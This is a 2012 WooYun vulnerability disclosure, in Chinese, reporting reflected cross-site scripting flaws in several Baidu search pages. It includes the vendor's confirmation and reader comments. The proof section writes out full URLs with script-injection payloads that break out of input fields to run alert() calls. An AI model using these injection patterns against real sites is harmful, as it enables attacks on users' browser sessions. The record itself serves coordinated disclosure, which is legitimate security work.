百度4处半xss漏洞

漏洞概要

缺陷编号:WooYun-2012-06471

漏洞标题:百度4处半xss漏洞

相关厂商:百度

漏洞作者:goderci

提交时间:2012-04-28 09:35

公开时间:2012-06-12 09:35

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2012-04-28: 细节已通知厂商并且等待厂商处理中
2012-04-28: 厂商已经确认,细节仅向厂商公开
2012-05-08: 细节向核心白帽子及相关领域专家公开
2012-05-18: 细节向普通白帽子公开
2012-05-28: 细节向实习白帽子公开
2012-06-12: 细节向公众公开

简要描述:

最近听说搞百度会火!果断试一下!
4处半xss!有一处有点神经!没搞明白!
搞不明白!休息!

详细说明:

百度文库首页搜索框:这个有点神经,一会弹一会不弹的!没搞明白!文库课件专区搜索框:http://wenku.baidu.com/lec/search?word=</script><iframe onload=alert(121)>&dc=&lv=&od=0百度百科首页搜索框:http://baike.baidu.com/search/none?word="/><script>alert(/goderci/)</script>&convertword="/><script>alert(/goderci/)</script>&flag=strong百度乐居首页搜索框:http://house.baidu.com/sanya/search/?wd="/><script>alert(/goderci/)</script>callback:这个比较惊讶!http://esf.baidu.com/bj/cklog.php?callback=baidu_s"/><script>alert(/goderci/)</script>earchlogin_dis&rnd=1335549418336&city=bj

漏洞证明:

百度文库首页搜索框:这个有点神经,一会弹一会不弹的!没搞明白!

文库课件专区搜索框:http://wenku.baidu.com/lec/search?word=</script><iframe onload=alert(121)>&dc=&lv=&od=0

百度百科首页搜索框:http://baike.baidu.com/search/none?word="/><script>alert(/goderci/)</script>&convertword="/><script>alert(/goderci/)</script>&flag=strong

百度乐居首页搜索框:http://house.baidu.com/sanya/search/?wd="/><script>alert(/goderci/)</script>

callback:这个比较惊讶!http://esf.baidu.com/bj/cklog.php?callback=baidu_s"/><script>alert(/goderci/)</script>earchlogin_dis&rnd=1335549418336&city=bj

修复方案:

哈哈哈哈....

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2012-04-28 11:23

厂商回复:

感谢提交,没想到一下爆出来这么多~

最新状态:

暂无

评价

  1. 2010-01-01 00:00 wanglaojiu 白帽子 | Rank:45 漏洞数:12)

    果断关注~

  2. 2010-01-01 00:00 goderci 白帽子 | Rank:522 漏洞数:47)

    沙发是别人的,自己做板凳关注!

  3. 2010-01-01 00:00 水滴 白帽子 | Rank:146 漏洞数:24)

  4. 2010-01-01 00:00 1cefish 白帽子 | Rank:47 漏洞数:12)

    - - 别给我说和我发现的是一样的0 0 坑爹的- - 我都舍不得发 被黑客给发了

  5. 2010-01-01 00:00 goderci 白帽子 | Rank:522 漏洞数:47)

    @1cefish 这留着当饭吃?几个破xss你还留着?赶紧的还有别的站的赶紧发了!

  6. 2010-01-01 00:00 goderci 白帽子 | Rank:522 漏洞数:47)

    @百度 xss这种家伙一个两个发,么得意思啊,虽然说4个也么得啥意思!——!

  7. 2010-01-01 00:00 anyunix 白帽子 | Rank:66 漏洞数:8)

    话说我是专门来看那半个XSS的。

  8. 2010-01-01 00:00 anyunix 白帽子 | Rank:66 漏洞数:8)

    像这类大公司超长的产品线。XSS往往一扫就一堆。反射式没啥危害。

  9. 2010-01-01 00:00 goderci 白帽子 | Rank:522 漏洞数:47)

    @anyunix 一扫一大堆?你这啥工具,这么犀利!分享一下撒

  10. 2010-01-01 00:00 cy3ber 白帽子 | Rank:3 漏洞数:1)

    @goderci RFI挖掘者

  11. 2010-01-01 00:00 HuGtion 白帽子 | Rank:61 漏洞数:8)

    关注 学习。。